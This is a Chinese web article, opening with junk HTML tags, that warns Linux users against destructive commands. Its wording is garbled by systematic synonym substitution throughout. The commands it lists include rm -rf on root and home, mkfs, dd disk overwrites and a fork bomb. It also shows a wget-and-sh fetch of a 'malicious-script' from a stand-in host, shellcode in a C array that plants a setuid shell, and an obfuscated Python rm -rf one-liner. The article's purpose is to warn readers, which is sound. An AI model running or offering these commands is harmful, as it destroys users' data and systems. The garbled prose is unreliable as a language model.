<code id='68uh3'><strong id='68uh3'></strong></code>

    <ins id='68uh3'></ins>
    <i id='68uh3'></i>
  1. <tr id='68uh3'><strong id='68uh3'></strong><small id='68uh3'></small><button id='68uh3'></button><li id='68uh3'><noscript id='68uh3'><big id='68uh3'></big><dt id='68uh3'></dt></noscript></li></tr><ol id='68uh3'><table id='68uh3'><blockquote id='68uh3'><tbody id='68uh3'></tbody></blockquote></table></ol><u id='68uh3'></u><kbd id='68uh3'><kbd id='68uh3'></kbd></kbd>
    <i id='68uh3'><div id='68uh3'><ins id='68uh3'></ins></div></i>

    <acronym id='68uh3'><em id='68uh3'></em><td id='68uh3'><div id='68uh3'></div></td></acronym><address id='68uh3'><big id='68uh3'><big id='68uh3'></big><legend id='68uh3'></legend></big></address>
    <span id='68uh3'></span>

      1. <fieldset id='68uh3'></fieldset>

        1. <dl id='68uh3'></dl>

          千万千万不要运行的命令!

          • 时间:
          • 浏览:3
          • 来源:124软件资讯网

            忠告:
            文中列出的下令绝对不行以运行  ,纵然你以为很好奇也不行  ,由于它们会实着实在的破损你的系统  。

            早晚有一天  ,Linux 系统会像 Windows 那样盛行  ,用的人越来越多  ,包罗对盘算机不是很相识的人  ,本文的目的就是告诉各人:在 Linux 给你最大水平自由度的同时  ,也使得破损系统变得越发容易 ,若是你不相识某些下令的意义  ,下载执行包罗恶意下令的剧本  ,或者受骗运行某些下令  ,很容易让你哭都来不及 。

            这并不是说明 Linux 不宁静  ,只是说明在不相识 Linux  ,和很不小心的人眼前  ,Linux 十分不宁静  。Windows 也好  ,Linux 也好 ,人自己才是最大的不宁静因素  。

            下面的下令会删除你硬盘上的文件  ,rm 的 -r 递归删除  ,和 -f 强制删除是很危险的选项  ,纵然一样平常操作  ,也会遇到误删文件的情形  。

            sudo rm -rf / 删除根分区所有的文件
            sudo rm -rf . 删除当前目录下的所有文件
            sudo rm -rf * 同上
            rm -rf * or rm -rf *.* 同上
            rm -rf ~ / & 删除根分区和家目录  ,纵然你不是root  ,家目录照旧不能幸免  。


            同样  ,若是你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是花样化下令的话  ,运行下面的下令会擦除你的硬盘分区

            sudo mkfs.xxxx


            dd 是强盛的 IO 输入输出定向工具  ,若是使用不妥  ,破损性很大  ,不仅仅是当前分区 ,当前系统  ,有的时间是整个硬盘  。

            sudo dd if=/dev/zero of=/dev/sda 所有硬盘清零 。
            sudo dd if=/dev/sda of=/dev/sdb 用第一块硬盘的内容笼罩第二块的内容  。
            sudo dd if=something of=/dev/sda 往硬盘上写垃圾数据  。


            同理  ,直接把下令效果定向到硬盘上  ,相当于往硬盘上写垃圾数据:

            any_command > /dev/sda 用随意的数据破损硬盘


            上面的 sda 、sdb 也可能是其他类似的名称  。Linux 的 /dev 系统给利用硬件提供了很利便和强盛的功效  ,同时也使得破损变得更容易 。


            fork 下令打开一个子历程  ,若是把 fork 放在无限循环中 ,最终子历程会耗尽所有内存资源:

            :(){:|:&};:


            这段不知所云的符号 ,可以让 Shell 一直的 fork 子历程 ,最后导致内存耗尽  ,不得不重启  ,这不是 bug  ,只是 Shell 语句居心写成简写的形式而已  。下面的同理:

            fork while fork


            有的时间  ,压缩包也是一个破损泉源~

            有的压缩包要求你解压到某个系统中已经存在的目录中  ,这时间你就要特殊小心了  ,压缩包内里可能有成千上万的小文件 ,以种种文件名实验笼罩你现有的文件  。

            有的压缩包看起来很小  ,可是解压出来是上 GB 的垃圾数据  ,会充斥你的硬盘 。

            从不正规网站下载的法式、剧本  ,同样会有包罗恶意下令的危险  ,不行随便执行:

            wget http://some_place/some_file
            sh ./some_file
            wget http://hax018r.org/malicious-script
            sh ./malicious-script


            载剧本要确保泉源正规  ,若是有能力  ,可以阅读其代码  。


            纵然有源代码的法式  ,也不要随便编译执行:

            char esp[] __attribute__ ((section(".text")))
            = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
            "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
            "xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
            "x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
            "x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
            "xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
            "x6ex2fx73x68x00x2dx63x00"
            "cp -p /bin/sh /tmp/.beyond; chmod 4755
            /tmp/.beyond;";


            上面看起来只是一堆没有意义的 16 进制数据 ,若是有人告诉你 ,运行这个法式你就可以不输入密码取得系统的 root 权限  ,你可不要信赖他  ,上面的法式现实运行的是 rm -rf ~ / & !  !  !

            python 一类的剧本语言 ,同样可以拿来搞破损:

            python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'


            这段法式现实上会执行 rm -rf *  ,也许你很希奇上面法式末端的 “sn!.sg! ” 是什么意思  ,现实上就是 rm -rf * 每个字母的下一个 !

            那么我们怎样制止运行恶意法式呢  ?
            第一不要用 root 作为一样平常使用的用户  ,上面的法式  ,若是当前用户不是 root ,危害的波及规模就会小许多  。
            第二要知道哪些下令是干什么用的  ,不知道的下令不要冒然运行  。运行有潜在破损能力的法式  ,要小心检查自己的输入 。
            第三要保证软件、剧本的泉源正规 。
            最后一点  ,虽然比力消极  ,可是确实十分主要的一点:
            经常备份你的数据  !  !